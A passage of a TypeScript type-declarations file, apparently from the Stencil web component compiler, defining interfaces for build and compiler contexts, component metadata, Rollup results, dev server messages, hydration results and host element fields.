string[]>;\n  config: ValidatedConfig;\n  createTimeSpan(msg: string, debug?: boolean): LoggerTimeSpan;\n  data: any;\n  debug: (msg: string) => void;\n  diagnostics: Diagnostic[];\n  dirsAdded: string[];\n  dirsDeleted: string[];\n  entryModules: EntryModule[];\n  filesAdded: string[];\n  filesChanged: string[];\n  filesDeleted: string[];\n  filesUpdated: string[];\n  filesWritten: string[];\n  globalStyle: string | undefined;\n  hasConfigChanges: boolean;\n  hasError: boolean;\n  hasFinished: boolean;\n  hasHtmlChanges: boolean;\n  hasPrintedResults: boolean;\n  hasServiceWorkerChanges: boolean;\n  hasScriptChanges: boolean;\n  hasStyleChanges: boolean;\n  hasWarning: boolean;\n  hydrateAppFilePath: string;\n  indexBuildCount: number;\n  indexDoc: Document;\n  isRebuild: boolean;\n  /**\n   * A collection of Stencil's intermediate representation of components, tied to the current build\n   */\n  moduleFiles: Module[];\n  packageJson: PackageJsonData;\n  pendingCopyTasks: Promise<CopyResults>[];\n  progress(task: BuildTask): void;\n  requiresFullBuild: boolean;\n  rollupResults?: RollupResults;\n  scriptsAdded: string[];\n  scriptsDeleted: string[];\n  startTime: number;\n  styleBuildCount: number;\n  /**\n   * A promise that resolves to the global styles for the current build.\n   */\n  stylesPromise: Promise<string>;\n  stylesUpdated: BuildStyleUpdate[];\n  timeSpan: LoggerTimeSpan;\n  timestamp: string;\n  transpileBuildCount: number;\n  validateTypesBuild?(): Promise<void>;\n  validateTypesHandler?: (results: any) => Promise<void>;\n  validateTypesPromise?: Promise<any>;\n}\n\nexport interface BuildStyleUpdate {\n  styleTag: string;\n  styleText: string;\n  styleMode: string;\n}\n\nexport type BuildTask = any;\n\nexport interface CompilerBuildStats {\n  timestamp: string;\n  compiler: {\n    name: string;\n    version: string;\n  };\n  app: {\n    namespace: string;\n    fsNamespace: string;\n    components: number;\n    entries: number;\n    bundles: number;\n    outputs: any;\n  };\n  options: {\n    minifyJs: boolean;\n    minifyCss: boolean;\n    hashFileNames: boolean;\n    hashedFileNameLength: number;\n    buildEs5: boolean | 'prod';\n  };\n  formats: {\n    esmBrowser: ReadonlyArray<CompilerBuildStatBundle>;\n    esm: ReadonlyArray<CompilerBuildStatBundle>;\n    es5: ReadonlyArray<CompilerBuildStatBundle>;\n    system: ReadonlyArray<CompilerBuildStatBundle>;\n    commonjs: ReadonlyArray<CompilerBuildStatBundle>;\n  };\n  components: BuildComponent[];\n  entries: EntryModule[];\n  rollupResults: RollupResults;\n  sourceGraph?: BuildSourceGraph;\n  componentGraph: BuildResultsComponentGraph;\n  collections: CompilerBuildStatCollection[];\n}\n\nexport interface CompilerBuildStatCollection {\n  name: string;\n  source: string;\n  tags: string[][];\n}\n\nexport interface CompilerBuildStatBundle {\n  key: string;\n  components: string[];\n  bundleId: string;\n  fileName: string;\n  imports: string[];\n  originalByteSize: number;\n}\n\nexport interface BuildSourceGraph {\n  [filePath: string]: string[];\n}\n\nexport interface BuildComponent {\n  tag: string;\n  dependencyOf?: string[];\n  dependencies?: string[];\n}\n\nexport type SourceTarget = 'es5' | 'es2017' | 'latest';\n\n/**\n * A note regarding Rollup types:\n * As of this writing, there is no great way to import external types for packages that are directly embedded in the\n * Stencil source. As a result, some types are duplicated here for Rollup that will be used within the codebase.\n * Updates to rollup may require these typings to be updated.\n */\n\nexport type RollupResult = RollupChunkResult | RollupAssetResult;\n\nexport interface RollupAssetResult {\n  type: 'asset';\n  fileName: string;\n  content: string;\n}\n\nexport interface RollupChunkResult {\n  type: 'chunk';\n  entryKey: string;\n  fileName: string;\n  code: string;\n  isEntry: boolean;\n  isComponent: boolean;\n  isCore: boolean;\n  isIndex: boolean;\n  isBrowserLoader: boolean;\n  imports: string[];\n  moduleFormat: ModuleFormat;\n  map?: RollupSourceMap;\n}\n\nexport interface RollupSourceMap {\n  file: string;\n  mappings: string;\n  names: string[];\n  sources: string[];\n  sourcesContent: string[];\n  version: number;\n  toString(): string;\n  toUrl(): string;\n}\n\n/**\n * Result of Stencil compressing, mangling, and otherwise 'minifying' JavaScript\n */\nexport type OptimizeJsResult = {\n  output: string;\n  diagnostics: Diagnostic[];\n  sourceMap?: SourceMap;\n};\n\nexport interface BundleModule {\n  entryKey: string;\n  rollupResult: RollupChunkResult;\n  cmps: ComponentCompilerMeta[];\n  output: BundleModuleOutput;\n}\n\nexport interface BundleModuleOutput {\n  bundleId: string;\n  fileName: string;\n  code: string;\n}\n\nexport interface Cache {\n  get(key: string): Promise<string | null>;\n  put(key: string, value: string): Promise<boolean>;\n  has(key: string): Promise<boolean>;\n  createKey(domain: string, ...args: any[]): Promise<string>;\n  commit(): Promise<void>;\n  clear(): void;\n  clearDiskCache(): Promise<void>;\n  getMemoryStats(): string;\n  initCacheDir(): Promise<void>;\n}\n\nexport interface CollectionCompilerMeta {\n  collectionName: string;\n  moduleId?: string;\n  moduleDir: string;\n  moduleFiles: Module[];\n  global?: Module;\n  compiler?: CollectionCompilerVersion;\n  isInitialized?: boolean;\n  hasExports?: boolean;\n  dependencies?: string[];\n  bundles?: {\n    components: string[];\n  }[];\n}\n\nexport interface CollectionCompilerVersion {\n  name: string;\n  version: string;\n  typescriptVersion?: string;\n}\n\nexport interface CollectionManifest {\n  entries?: CollectionComponentEntryPath[];\n  /**\n   * Paths to mixin/abstract class modules that can be extended by consuming projects.\n   * These are modules that contain classes with Stencil static members (properties, states, etc.)\n   * but are not components themselves (no @Component decorator / tag name).\n   */\n  mixins?: CollectionComponentEntryPath[];\n  collections?: CollectionDependencyManifest[];\n  global?: string;\n  compiler?: CollectionCompilerVersion;\n  bundles?: CollectionBundleManifest[];\n}\n\nexport type CollectionComponentEntryPath = string;\n\nexport interface CollectionBundleManifest {\n  components: string[];\n}\n\nexport interface CollectionDependencyManifest {\n  name: string;\n  tags: string[];\n}\n\nexport interface CollectionCompiler {\n  name: string;\n  version: string;\n  typescriptVersion?: string;\n}\n\nexport interface CollectionDependencyData {\n  name: string;\n  tags: string[];\n}\n\nexport interface CompilerCtx {\n  version: number;\n  activeBuildId: number;\n  activeDirsAdded: string[];\n  activeDirsDeleted: string[];\n  activeFilesAdded: string[];\n  activeFilesDeleted: string[];\n  activeFilesUpdated: string[];\n  addWatchDir: (path: string, recursive: boolean) => void;\n  addWatchFile: (path: string) => void;\n  cache: Cache;\n  cssModuleImports: Map<string, string[]>;\n  cachedGlobalStyle: string;\n  collections: CollectionCompilerMeta[];\n  compilerOptions: any;\n  events: BuildEvents;\n  fs: InMemoryFileSystem;\n  hasSuccessfulBuild: boolean;\n  isActivelyBuilding: boolean;\n  lastBuildResults: CompilerBuildResults;\n  /**\n   * A mapping of a file path to a Stencil {@link Module}\n   */\n  moduleMap: ModuleMap;\n  nodeMap: NodeMap;\n  resolvedCollections: Set<string>;\n  rollupCacheHydrate: any;\n  rollupCacheLazy: any;\n  rollupCacheNative: any;\n  styleModeNames: Set<string>;\n  changedModules: Set<string>;\n  changedFiles: Set<string>;\n  worker?: CompilerWorkerContext;\n\n  rollupCache: Map<string, any>;\n\n  reset(): void;\n}\n\nexport type NodeMap = WeakMap<any, ComponentCompilerMeta>;\n\n/**\n * Record, for a specific component, whether or not it has various features\n * which need to be handled correctly in the compilation pipeline.\n *\n * Note: this must be serializable to JSON.\n */\nexport interface ComponentCompilerFeatures {\n  hasAttribute: boolean;\n  hasAttributeChangedCallbackFn: boolean;\n  hasComponentWillLoadFn: boolean;\n  hasComponentDidLoadFn: boolean;\n  hasComponentShouldUpdateFn: boolean;\n  hasComponentWillUpdateFn: boolean;\n  hasComponentDidUpdateFn: boolean;\n  hasComponentWillRenderFn: boolean;\n  hasComponentDidRenderFn: boolean;\n  hasConnectedCallbackFn: boolean;\n  hasDeserializer: boolean;\n  hasDisconnectedCallbackFn: boolean;\n  hasElement: boolean;\n  hasEvent: boolean;\n  hasLifecycle: boolean;\n  hasListener: boolean;\n  hasListenerTarget: boolean;\n  hasListenerTargetWindow: boolean;\n  hasListenerTargetDocument: boolean;\n  hasListenerTargetBody: boolean;\n  /**\n   * @deprecated Prevented from new apps, but left in for older collections\n   */\n  hasListenerTargetParent: boolean;\n  hasMember: boolean;\n  hasMethod: boolean;\n  hasMode: boolean;\n  hasModernPropertyDecls: boolean;\n  hasProp: boolean;\n  hasPropBoolean: boolean;\n  hasPropNumber: boolean;\n  hasPropString: boolean;\n  hasPropMutable: boolean;\n  hasReflect: boolean;\n  hasRenderFn: boolean;\n  hasSerializer: boolean;\n  hasSlot: boolean;\n  hasState: boolean;\n  hasStyle: boolean;\n  hasVdomAttribute: boolean;\n  hasVdomClass: boolean;\n  hasVdomFunctional: boolean;\n  hasVdomKey: boolean;\n  hasVdomListener: boolean;\n  hasVdomPropOrAttr: boolean;\n  hasVdomRef: boolean;\n  hasVdomRender: boolean;\n  hasVdomStyle: boolean;\n  hasVdomText: boolean;\n  hasVdomXlink: boolean;\n  hasWatchCallback: boolean;\n  htmlAttrNames: string[];\n  htmlTagNames: string[];\n  htmlParts: string[];\n  isUpdateable: boolean;\n  /**\n   * A plain component is one that doesn't have:\n   * - any members decorated with `@Prop()`, `@State()`, `@Element()`, `@Method()`\n   * - any methods decorated with `@Listen()`\n   * - any styles\n   * - any lifecycle methods, including `render()`\n   */\n  isPlain: boolean;\n  /**\n   * A collection of tag names of web components that a component references in its JSX/h() function\n   */\n  potentialCmpRefs: string[];\n}\n\n/**\n * Metadata about a given component\n *\n * Note: must be serializable to JSON!\n */\nexport interface ComponentCompilerMeta extends ComponentCompilerFeatures {\n  assetsDirs: CompilerAssetDir[];\n  /**\n   * The name to which an `ElementInternals` object (the return value of\n   * `HTMLElement.attachInternals`) should be attached at runtime. If this is\n   * `null` then `attachInternals` should not be called.\n   */\n  attachInternalsMemberName: string | null;\n  /**\n   * Custom states to initialize on the ElementInternals.states CustomStateSet.\n   * These are defined via @AttachInternals({ states: {...} }).\n   */\n  attachInternalsCustomStates: ComponentCompilerCustomState[];\n  componentClassName: string;\n  /**\n   * A list of web component tag names that are either:\n   * - directly referenced in a Stencil component's JSX/h() function\n   * - are referenced by a web component that is directly referenced in a Stencil component's JSX/h() function\n   */\n  dependencies: string[];\n  /**\n   * A list of web component tag names that either:\n   * - directly reference the current component directly in their JSX/h() function\n   * - indirectly/transitively reference the current component directly in their JSX/h() function\n   */\n  dependents: string[];\n  deserializers: ComponentCompilerChangeHandler[];\n  /**\n   * A list of web component tag names that are directly referenced in a Stencil component's JSX/h() function\n   */\n  directDependencies: string[];\n  /**\n   * A list of web component tag names that the current component directly in their JSX/h() function\n   */\n  directDependents: string[];\n  docs: CompilerJsDoc;\n  doesExtend: boolean;\n  elementRef: string;\n  encapsulation: Encapsulation;\n  events: ComponentCompilerEvent[];\n  excludeFromCollection: boolean;\n  /**\n   * Whether or not the component is form-associated\n   */\n  formAssociated: boolean;\n  internal: boolean;\n  isCollectionDependency: boolean;\n  jsFilePath: string;\n  listeners: ComponentCompilerListener[];\n  methods: ComponentCompilerMethod[];\n  properties: ComponentCompilerProperty[];\n  serializers: ComponentCompilerChangeHandler[];\n  shadowDelegatesFocus: boolean;\n  /**\n   * Slot assignment mode for shadow DOM. 'manual', enables imperative slotting\n   * using HTMLSlotElement.assign(). Only applicable when encapsulation is 'shadow'.\n   */\n  slotAssignment: 'manual' | null;\n  sourceFilePath: string;\n  sourceMapPath: string;\n  states: ComponentCompilerState[];\n  styleDocs: CompilerStyleDoc[];\n  styles: StyleCompiler[];\n  tagName: string;\n  virtualProperties: ComponentCompilerVirtualProperty[];\n  watchers: ComponentCompilerChangeHandler[];\n}\n\n/**\n * The supported style encapsulation modes on a Stencil component:\n * 1. 'shadow' - native Shadow DOM\n * 2. 'scoped' - encapsulated styles and polyfilled slots\n * 3. 'none' - a basic HTML element\n */\nexport type Encapsulation = 'shadow' | 'scoped' | 'none';\n\n/**\n * Intermediate Representation (IR) of a static property on a Stencil component\n */\nexport interface ComponentCompilerStaticProperty {\n  mutable: boolean;\n  optional: boolean;\n  required: boolean;\n  type: ComponentCompilerPropertyType;\n  complexType: ComponentCompilerPropertyComplexType;\n  attribute?: string;\n  reflect?: boolean;\n  docs: CompilerJsDoc;\n  defaultValue?: string;\n  getter: boolean;\n  setter: boolean;\n  ogPropName?: string;\n}\n\n/**\n * Intermediate Representation (IR) of a property on a Stencil component\n */\nexport interface ComponentCompilerProperty extends ComponentCompilerStaticProperty {\n  name: string;\n  internal: boolean;\n}\n\nexport interface ComponentCompilerVirtualProperty {\n  name: string;\n  type: string;\n  docs: string;\n}\n\nexport type ComponentCompilerPropertyType = 'any' | 'string' | 'boolean' | 'number' | 'unknown';\n\n/**\n * Information about a type used in a Stencil component or exported\n * from a Stencil project.\n */\nexport interface ComponentCompilerPropertyComplexType {\n  /**\n   * The string of the original type annotation in the Stencil source code\n   */\n  original: string;\n  /**\n   * A 'resolved' type, where e.g. imported types have been resolved and inlined\n   *\n   * For instance, an annotation like `(foo: Foo) => string;` will be\n   * converted to `(foo: { foo: string }) => string;`.\n   */\n  resolved: string;\n  /**\n   * A record of the types which were referenced in the assorted type\n   * annotation in the original source file.\n   */\n  references: ComponentCompilerTypeReferences;\n}\n\n/**\n * A record of `ComponentCompilerTypeReference` entities.\n *\n * Each key in this record is intended to be the names of the types used by a component. However, this is not enforced\n * by the type system (I.E. any string can be used as a key).\n *\n * Note any key can be a user defined type or a TypeScript standard type.\n */\nexport type ComponentCompilerTypeReferences = Record<string, ComponentCompilerTypeReference>;\n\n/**\n * Describes a reference to a type used by a component.\n */\nexport interface ComponentCompilerTypeReference {\n  /**\n   * A type may be defined:\n   * - locally (in the same file as the component that uses it)\n   * - globally\n   * - by importing it into a file (and is defined elsewhere)\n   */\n  location: 'local' | 'global' | 'import';\n  /**\n   * The path to the type reference, if applicable (global types should not need a path associated with them)\n   */\n  path?: string;\n  /**\n   * An ID for this type which is unique within a Stencil project.\n   */\n  id: string;\n  /**\n   * Whether this type was imported as a default import (e.g., `import MyEnum from './my-enum'`)\n   * vs a named import (e.g., `import { MyType } from './my-type'`)\n   */\n  isDefault?: boolean;\n  /**\n   * The name used in the import statement (before any user-defined alias).\n   * For `import { XAxisOption as moo }`, this would be \"XAxisOption\".\n   * This is the name exported by the source module.\n   */\n  referenceLocation?: string;\n}\n\n/**\n * Information about a type which is referenced by another type on a Stencil\n * component, for instance a {@link ComponentCompilerPropertyComplexType} or a\n * {@link ComponentCompilerEventComplexType}.\n */\nexport interface ComponentCompilerReferencedType {\n  /**\n   * The path to the module where the type is declared.\n   */\n  path: string;\n  /**\n   * The string of the original type annotation in the Stencil source code\n   */\n  declaration: string;\n  /**\n   * An extracted docstring\n   */\n  docstring: string;\n}\n\nexport interface ComponentCompilerStaticEvent {\n  name: string;\n  method: string;\n  bubbles: boolean;\n  cancelable: boolean;\n  composed: boolean;\n  docs: CompilerJsDoc;\n  complexType: ComponentCompilerEventComplexType;\n}\n\nexport interface ComponentCompilerEvent extends ComponentCompilerStaticEvent {\n  internal: boolean;\n}\n\nexport interface ComponentCompilerEventComplexType {\n  original: string;\n  resolved: string;\n  references: ComponentCompilerTypeReferences;\n}\n\nexport interface ComponentCompilerListener {\n  name: string;\n  method: string;\n  capture: boolean;\n  passive: boolean;\n  target: ListenTargetOptions | undefined;\n}\n\nexport interface ComponentCompilerStaticMethod {\n  docs: CompilerJsDoc;\n  complexType: ComponentCompilerMethodComplexType;\n}\n\nexport interface ComponentCompilerMethodComplexType {\n  signature: string;\n  parameters: JsonDocMethodParameter[];\n  references: ComponentCompilerTypeReferences;\n  return: string;\n}\n\nexport interface ComponentCompilerChangeHandler {\n  propName: string;\n  methodName: string;\n  handlerOptions?: {\n    immediate?: boolean;\n  };\n}\n\nexport interface ComponentCompilerMethod extends ComponentCompilerStaticMethod {\n  name: string;\n  internal: boolean;\n}\n\nexport interface ComponentCompilerState {\n  name: string;\n}\n\n/**\n * Metadata about a custom state defined via @AttachInternals({ states: {...} })\n *\n * Custom states are exposed via the ElementInternals.states CustomStateSet\n * and can be targeted with the CSS :state() pseudo-class.\n */\nexport interface ComponentCompilerCustomState {\n  /**\n   * The name of the custom state (without dashes)\n   */\n  name: string;\n  /**\n   * The initial value of the state\n   */\n  initialValue: boolean;\n  /**\n   * Optional JSDoc description for the state\n   */\n  docs: string;\n}\n\n/**\n * Representation of JSDoc that is pulled off a node in the AST\n */\nexport interface CompilerJsDoc {\n  /**\n   * The text associated with the JSDoc\n   */\n  text: string;\n  /**\n   * Tags included in the JSDoc\n   */\n  tags: CompilerJsDocTagInfo[];\n}\n\n/**\n * Representation of a tag that exists in a JSDoc\n */\nexport interface CompilerJsDocTagInfo {\n  /**\n   * The name of the tag - e.g. `@deprecated`\n   */\n  name: string;\n  /**\n   * Additional text that is associated with the tag - e.g. `@deprecated use v2 of this API`\n   */\n  text?: string;\n}\n\n/**\n * The (internal) representation of a CSS block comment in a CSS, Sass, etc. file. This data structure is used during\n * the initial compilation phases of Stencil, as a piece of {@link ComponentCompilerMeta}.\n */\nexport interface CompilerStyleDoc {\n  /**\n   * The name of the CSS property\n   */\n  name: string;\n  /**\n   * The user-defined description of the CSS property\n   */\n  docs: string;\n  /**\n   * The JSDoc-style annotation (e.g. `@prop`) that was used in the block comment to detect the comment.\n   * Used to inform Stencil where the start of a new property's description starts (and where the previous description\n   * ends).\n   */\n  annotation: 'prop';\n  /**\n   * The Stencil style-mode that is associated with this property.\n   */\n  mode: string;\n}\n\nexport interface CompilerAssetDir {\n  absolutePath?: string;\n  cmpRelativePath?: string;\n  originalComponentPath?: string;\n}\n\nexport interface ComponentCompilerData {\n  exportLine: string;\n  filePath: string;\n  cmp: ComponentCompilerMeta;\n  uniqueComponentClassName?: string;\n  importLine?: string;\n}\n\nexport interface ComponentConstructor {\n  is?: string;\n  properties?: ComponentConstructorProperties;\n  watchers?: ComponentConstructorChangeHandlers;\n  events?: ComponentConstructorEvent[];\n  listeners?: ComponentConstructorListener[];\n  style?: string;\n  styleId?: string;\n  encapsulation?: ComponentConstructorEncapsulation;\n  observedAttributes?: string[];\n  cmpMeta?: ComponentRuntimeMeta;\n  isProxied?: boolean;\n  isStyleRegistered?: boolean;\n  serializers?: ComponentConstructorChangeHandlers;\n  deserializers?: ComponentConstructorChangeHandlers;\n}\n\n/**\n * A mapping from class member names to a list of methods which are watching\n * them.\n */\nexport interface ComponentConstructorChangeHandlers {\n  [propName: string]: { [methodName: string]: number }[];\n}\n\nexport interface ComponentTestingConstructor extends ComponentConstructor {\n  COMPILER_META: ComponentCompilerMeta;\n  prototype?: {\n    componentWillLoad?: Function;\n    componentWillUpdate?: Function;\n    componentWillRender?: Function;\n    __componentWillLoad?: Function | null;\n    __componentWillUpdate?: Function | null;\n    __componentWillRender?: Function | null;\n  };\n}\n\nexport interface ComponentNativeConstructor extends ComponentConstructor {\n  cmpMeta: ComponentRuntimeMeta;\n}\n\nexport type ComponentConstructorEncapsulation = 'shadow' | 'scoped' | 'none';\n\nexport interface ComponentConstructorProperties {\n  [propName: string]: ComponentConstructorProperty;\n}\n\nexport interface ComponentConstructorProperty {\n  attribute?: string;\n  elementRef?: boolean;\n  method?: boolean;\n  mutable?: boolean;\n  reflect?: boolean;\n  state?: boolean;\n  type?: ComponentConstructorPropertyType;\n  watchCallbacks?: string[];\n}\n\nexport type ComponentConstructorPropertyType =\n  | StringConstructor\n  | BooleanConstructor\n  | NumberConstructor\n  | 'string'\n  | 'boolean'\n  | 'number';\n\nexport interface ComponentConstructorEvent {\n  name: string;\n  method: string;\n  bubbles: boolean;\n  cancelable: boolean;\n  composed: boolean;\n}\n\nexport interface ComponentConstructorListener {\n  name: string;\n  method: string;\n  capture?: boolean;\n  passive?: boolean;\n}\n\nexport interface DevClientWindow extends Window {\n  ['s-dev-server']: boolean;\n  ['s-initial-load']: boolean;\n  ['s-build-id']: number;\n  WebSocket: new (socketUrl: string, protos: string[]) => WebSocket;\n  devServerConfig?: DevClientConfig;\n}\n\nexport interface DevClientConfig {\n  basePath: string;\n  editors: DevServerEditor[];\n  reloadStrategy: PageReloadStrategy;\n  socketUrl?: string;\n}\n\nexport interface HttpRequest {\n  method: 'GET' | 'POST' | 'PUT' | 'DELETE' | 'HEAD' | 'OPTIONS';\n  acceptHeader: string;\n  url: URL;\n  searchParams: URLSearchParams;\n  pathname?: string;\n  filePath?: string;\n  stats?: CompilerFsStats;\n  headers?: { [name: string]: string };\n  host?: string;\n}\n\nexport interface DevServerMessage {\n  startServer?: DevServerConfig;\n  closeServer?: boolean;\n  serverStarted?: DevServerConfig;\n  serverClosed?: boolean;\n  buildStart?: boolean;\n  buildLog?: BuildLog;\n  buildResults?: CompilerBuildResults;\n  requestBuildResults?: boolean;\n  error?: { message?: string; type?: string; stack?: any };\n  isActivelyBuilding?: boolean;\n  compilerRequestPath?: string;\n  compilerRequestResults?: CompilerRequestResponse;\n  requestLog?: {\n    method: string;\n    url: string;\n    status: number;\n  };\n}\n\nexport type DevServerSendMessage = (msg: DevServerMessage) => void;\n\nexport interface DevServerContext {\n  connectorHtml: string;\n  dirTemplate: string;\n  getBuildResults: () => Promise<CompilerBuildResults>;\n  getCompilerRequest: (path: string) => Promise<CompilerRequestResponse>;\n  isServerListening: boolean;\n  logRequest: (req: HttpRequest, status: number) => void;\n  prerenderConfig: PrerenderConfig;\n  serve302: (req: any, res: any, pathname?: string) => void;\n  serve404: (req: any, res: any, xSource: string, content?: string) => void;\n  serve500: (req: any, res: any, error: any, xSource: string) => void;\n  sys: CompilerSystem;\n}\n\nexport type InitServerProcess = (sendMsg: (msg: DevServerMessage) => void) => (msg: DevServerMessage) => void;\n\nexport interface DevResponseHeaders {\n  'cache-control'?: string;\n  expires?: string;\n  'content-type'?: string;\n  'content-length'?: number;\n  date?: string;\n  'access-control-allow-origin'?: string;\n  'access-control-expose-headers'?: string;\n  'content-encoding'?: 'gzip';\n  vary?: 'Accept-Encoding';\n  server?: string;\n  'x-directory-index'?: string;\n  'x-source'?: string;\n}\n\nexport interface OpenInEditorData {\n  file?: string;\n  line?: number;\n  column?: number;\n  open?: string;\n  editor?: string;\n  exists?: boolean;\n  error?: string;\n}\n\nexport interface EntryModule {\n  entryKey: string;\n  cmps: ComponentCompilerMeta[];\n}\n\n/**\n * An interface extending `HTMLElement` which describes the fields added onto\n * host HTML elements by the Stencil runtime.\n */\nexport interface HostElement extends HTMLElement {\n  // web component APIs\n  connectedCallback?: () => void;\n  attributeChangedCallback?: (attribName: string, oldVal: string, newVal: string, namespace: string) => void;\n  disconnectedCallback?: () => void;\n  host?: Element;\n  forceUpdate?: () => void;\n\n  __stencil__getHostRef?: () => HostRef;\n\n  // \"s-\" prefixed properties should not be property renamed\n  // and should be common between all versions of stencil\n\n  /**\n   * Unique stencil id for this element\n   */\n  ['s-id']?: string;\n\n  /**\n   * Content Reference:\n   * Reference to the HTML Comment that's placed inside of the\n   * host element's original content. This comment is used to\n   * always represent where host element's light dom is.\n   */\n  ['s-cr']?: RenderNode;\n\n  /**\n   * Lifecycle ready\n   */\n  ['s-lr']?: boolean;\n\n  /**\n   * A reference to the `ElementInternals` object for the current host\n   *\n   * This is used for maintaining a reference to the object between HMR\n   * refreshes in the lazy build.\n   *\n   * \"stencil-element-internals\"\n   */\n  ['s-ei']?: ElementInternals;\n\n  /**\n   * On Render Callbacks:\n   * Array of callbacks to fire off after it has rendered.\n   */\n  ['s-rc']?: (() => void)[];\n\n  /**\n   * Scope Id\n   * The scope id of this component when using scoped css encapsulation\n   * or using shadow dom but the browser doesn't support it\n   */\n  ['s-sc']?: string;\n\n  /**\n   * Scope Ids\n   * All the possible scope ids of this component when using scoped css encapsulation\n   * or using shadow dom but the browser doesn't support it\n   */\n  ['s-scs']?: string[];\n\n  /**\n   * Hot Module Replacement, dev mode only\n   *\n   * This function should be defined by the HMR-supporting runtime and should\n   * do the work of actually updating the component in-place.\n   */\n  ['s-hmr']?: (versionId: string) => void;\n\n  /**\n   * A list of nested nested hydration promises that\n   * must be resolved for the top, ancestor component to be fully hydrated\n   */\n  ['s-p']?: Promise<void>[];\n\n  componentOnReady?: () => Promise<this>;\n}\n\nexport interface HydrateResults {\n  buildId: string;\n  diagnostics: Diagnostic[];\n  url: string;\n  host: string | null;\n  hostname: string | null;\n  href: string | null;\n  port: string | null;\n  pathname: string | null;\n  search: string | null;\n  hash: string | null;\n  html: string | null;\n  components: HydrateComponent[];\n  anchors: HydrateAnchorElement[];\n  imgs: HydrateImgElement[];\n  scripts: HydrateScriptElement[];\n  styles: HydrateStyleElement[];\n  staticData: HydrateStaticData[];\n  title: string | null;\n  hydratedCount: number;\n  httpStatus: number | null;\n}\n\nexport interface HydrateComponent {\n  tag: string;\n  mode: string;\n  count: number;\n  depth: number;\n}\n\nexport interface HydrateElement {\n  [attrName: string]: string | undefined;\n}\n\nexport interface HydrateAnchorElement extends HydrateElement {\n  href?: string;\n  target?: string;\n}\n\nexport interface HydrateImgElement extends HydrateElement {\n  src?: string;\n}\n\nexport interface HydrateScriptElement extends HydrateElement {\n  src?: string;\n  type?: string;\n}\n\nexport interface HydrateStyleElement extends HydrateElement {\n  id?: string;\n  href?: string;\n  content?: string;\n}\n\nexport interface HydrateStaticData {\n  id: string;\n  type: string;\n  content: string;\n}\n\nexport interface JsDoc {\n  name: string;\n  documentation: string;\n  type: string;\n  tags: JSDocTagInfo[];\n  default?: string;\n  parameters?: JsDoc[];\n  returns?: {\n    type: string;\n    documentation: string;\n  };\n}\n\nexport interface JSDocTagInfo {\n  name: string;\n  text?: string;\n}\n\n/**\n * A mapping from a TypeScript or JavaScript source file path on disk, to a Stencil {@link Module}.\n *\n * It is advised that the key (path) be normalized before storing/retrieving the `Module` to avoid unnecessary lookup\n * failures.\n */\nexport type ModuleMap = Map<string, Module>;\n\n/**\n * Stencil's Intermediate Representation (IR) of a module, bundling together\n * various pieces of information like the classes declared within it, the path\n * to the original source file, HTML tag names defined in the file, and so on.\n *\n * Note that this gets serialized/parsed as JSON and therefore cannot contain a\n * `Map` or a `Set`.\n */\nexport interface Module {\n  cmps: ComponentCompilerMeta[];\n  isMixin: boolean;\n  isExtended: boolean;\n  /**\n   * Indicates this module contains mixin/abstract classes that can be extended by other projects.\n   * These are classes with Stencil static members (properties, states, etc.) but no @Component decorator.\n   */\n  hasExportableMixins: boolean;\n  /**\n   * A collection of modules that a component will need. The modules in this list must have import statements generated\n   * in order for the component to function.\n   */\n  coreRuntimeApis: string[];\n  /**\n   * A collection of modules that a component will need for a specific output target. The modules in this list must\n   * have import statements generated in order for the component to function, but only for a specific output target.\n   */\n  outputTargetCoreRuntimeApis: Partial<Record<OutputTarget['type'], string[]>>;\n  collectionName: string;\n  dtsFilePath: string;\n  excludeFromCollection: boolean;\n  externalImports: string[];\n  htmlAttrNames: string[];\n  htmlTagNames: string[];\n  htmlParts: string[];\n  isCollectionDependency: boolean;\n  isLegacy: boolean;\n  jsFilePath: string;\n  localImports: string[];\n  /**\n   * Source file paths of functional components that are used in JSX/h() calls.\n   * This is used to ensure htmlTagNames are properly propagated from functional\n   * component dependencies even when they're accessed indirectly (e.g., via barrel files).\n   */\n  functionalComponentDeps: string[];\n  originalImports: string[];\n  originalCollectionComponentPath: string;\n  potentialCmpRefs: string[];\n  sourceFilePath: string;\n  staticSourceFile: any;\n  staticSourceFileText: string;\n  sourceMapPath: string;\n  sourceMapFileText: string;\n\n  // build features\n  hasVdomAttribute: boolean;\n  hasVdomClass: boolean;\n  hasVdomFunctional: boolean;\n  hasVdomKey: boolean;\n  hasVdomListener: boolean;\n  hasVdomPropOrAttr: boolean;\n  hasVdomRef: boolean;\n  hasVdomRender: boolean;\n  hasVdomStyle: boolean;\n  hasVdomText: boolean;\n  hasVdomXlink: boolean;\n}\n\nexport interface Plugin {\n  name?: string;\n  pluginType?: string;\n  load?: (id: string, context: PluginCtx) => Promise<string> | string;\n  resolveId?: (importee: string, importer: string, context: PluginCtx) => Promise<string> | string;\n  transform?: (\n    sourceText: string,\n    id: string,\n    context: PluginCtx,\n  ) => Promise<PluginTransformResults> | PluginTransformResults;\n}\n\nexport type PluginTransformResults = PluginTransformationDescriptor | string | null;\n\nexport interface PluginTransformationDescriptor {\n  code?: string;\n  map?: string;\n  id?: string;\n  diagnostics?: Diagnostic[];\n  dependencies?: string[];\n}\n\nexport interface PluginCtx {\n  config: Config;\n  sys: CompilerSystem;\n  fs: InMemoryFileSystem;\n  cache: Cache;\n  diagnostics: Diagnostic[];\n}\n\nexport interface PrerenderUrlResults {\n  anchorUrls: string[];\n  diagnostics: Diagnostic[];\n  filePath: string;\n}\n\nexport interface PrerenderUrlRequest {\n  appDir: string;\n  buildId: string;\n  baseUrl: string;\n  componentGraphPath: string;\n  devServerHostUrl: string;\n  hydrateAppFilePath: string;\n  isDebug: boolean;\n  prerenderConfigPath: string;\n  staticSite: boolean;\n  templateId: string;\n  url: string;\n  writeToFilePath: string;\n}\n\nexport interface PrerenderManager {\n  config: Config;\n  prerenderUrlWorker: (prerenderRequest: PrerenderUrlRequest) => Promise<PrerenderUrlResults>;\n  devServerHostUrl: string;\n  diagnostics: Diagnostic[];\n  hydrateAppFilePath: string;\n  isDebug: boolean;\n  logCount: number;\n  outputTarget: OutputTargetWww;\n  prerenderConfig: PrerenderConfig;\n  prerenderConfigPath: string;\n  progressLogger?: LoggerLineUpdater;\n  resolve: Function;\n  staticSite: boolean;\n  templateId: string;\n  componentGraphPath: string;\n  urlsProcessing: Set<string>;\n  urlsPending: Set<string>;\n  urlsCompleted: Set<string>;\n  maxConcurrency: number;\n}\n\n/**\n * Generic node that represents all of the\n * different types of nodes we'd see when rendering\n */\nexport interface RenderNode extends HostElement {\n  /**\n   * Shadow root's host\n   */\n  host?: Element;\n\n  /**\n   * On Ref 